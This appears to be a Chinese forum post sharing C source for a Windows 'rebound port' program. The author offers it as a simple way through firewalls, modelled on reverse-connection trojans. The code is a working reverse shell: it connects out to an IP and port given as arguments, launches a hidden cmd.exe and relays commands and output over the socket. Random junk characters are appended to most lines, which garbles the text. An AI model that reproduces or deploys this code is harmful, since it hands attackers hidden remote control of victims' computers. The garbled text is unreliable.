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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [Q+qu>&HB7  
Q'mLwD3>  
/* ============================== y_Tc$g~  
Rebound port in Windows NT ag \d4y6  
By wind,2006/7 D#?jddr-  
===============================*/ ju= +!nGUa  
#include >.]' N:5  
#include QV@NA@;XZ  
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#pragma comment(lib,"wsock32.lib") *~0Ko{Avc  
!^ /Mn  
void OutputShell(); ZX Sl+k .  
SOCKET sClient; p>c`GDU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8!c#XMHV  
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void main(int argc,char **argv) hDf|9}/UQd  
{ ;C+g)BW  
WSADATA stWsaData; nHB=*Mj DV  
int nRet; qK9\oB%s7  
SOCKADDR_IN stSaiClient,stSaiServer; =b* Is,R/  
.M$}.v  
if(argc != 3) @^)aUOe  
{ xa?#wY b  
printf("Useage:\n\rRebound DestIP DestPort\n"); }}VB#   
return; -#nfO*H}  
} ERE1XOe=D  
[v!TQwMU  
WSAStartup(MAKEWORD(2,2),&stWsaData); u VZouw#  
i(k]}Di:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8sV_@<l<X  
aeBA`ry"B  
stSaiClient.sin_family = AF_INET;  / hl:p  
stSaiClient.sin_port = htons(0); =`l).GnN2`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); { _]'EK/w  
h6Vm;{ ~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jr9/  
{ y+P iH  
printf("Bind Socket Failed!\n"); -a}d @&  
return; UW%.G  
} HcrI3v|6  
8] BOq:  
stSaiServer.sin_family = AF_INET; 71h?t`N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N{(Q,+ ~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rU {E}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~ }<!ON;  
{ ^.d97rSm  
printf("Connect Error!"); l-N4RCt h  
return; 5$T>noD  
} r.V< 5xV  
OutputShell(); $:bU<  
} SgOn:xg;3L  
o~*5FN}%+l  
void OutputShell() 'Si 1r%'m#  
{ '<v/Gl\  
char szBuff[1024]; aFj)s?$4]K  
SECURITY_ATTRIBUTES stSecurityAttributes; BK_x5mGu3  
OSVERSIONINFO stOsversionInfo; +Y^_1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (v\Cv)OS  
STARTUPINFO stStartupInfo; \(C_t1  
char *szShell; ]/p)XHKo  
PROCESS_INFORMATION stProcessInformation; p$5+^x'(  
unsigned long lBytesRead; c 4<~? L  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NTHy!y<!h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !*?Ss  
stSecurityAttributes.lpSecurityDescriptor = 0; "o*zZ;>^  
stSecurityAttributes.bInheritHandle = TRUE; za ix_mR  
}- Jw"|^W  
jZm57{C#*?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #NAlje(7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 95,{40;X7  
N|,6<|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |$r|DX1[  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;btH[a iV  
stStartupInfo.wShowWindow = SW_HIDE; z k[%YG&  
stStartupInfo.hStdInput = hReadPipe; DO!?]"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 31n5n  
S=^a''bg  
GetVersionEx(&stOsversionInfo); n%Vt r  
qq&G~y  
switch(stOsversionInfo.dwPlatformId) rf%E+bh4  
{ ,Z7tpFC  
case 1: '~^3 =[Z  
szShell = "command.com"; *j,5TO-j  
break; $Q[>v!!X  
default: aqjS5!qh  
szShell = "cmd.exe"; ~$0Qvyb>  
break; 0YsC@r47wL  
} {-sy,EYcw  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4s<*rKm~  
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send(sClient,szMsg,77,0); 5-L?JD 4&  
while(1) #L-3eW=f  
{ rNL*(PN}lO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); U!"+~d)  
if(lBytesRead) U$J l5[`F^  
{ nj*B-M\p  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H1PW/AW  
send(sClient,szBuff,lBytesRead,0); Z6}B}5@y  
} $Nr :YI  
else ~;Ga65_6_  
{ aDx{Q&  
lBytesRead=recv(sClient,szBuff,1024,0); H)$-T1Wx4  
if(lBytesRead<=0) break; Rx$5#K!%M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ix,`lFbH  
} N#')Qz:P  
} Go}C{(4T  
I$4GM  
return; _LV;q! /j  
}
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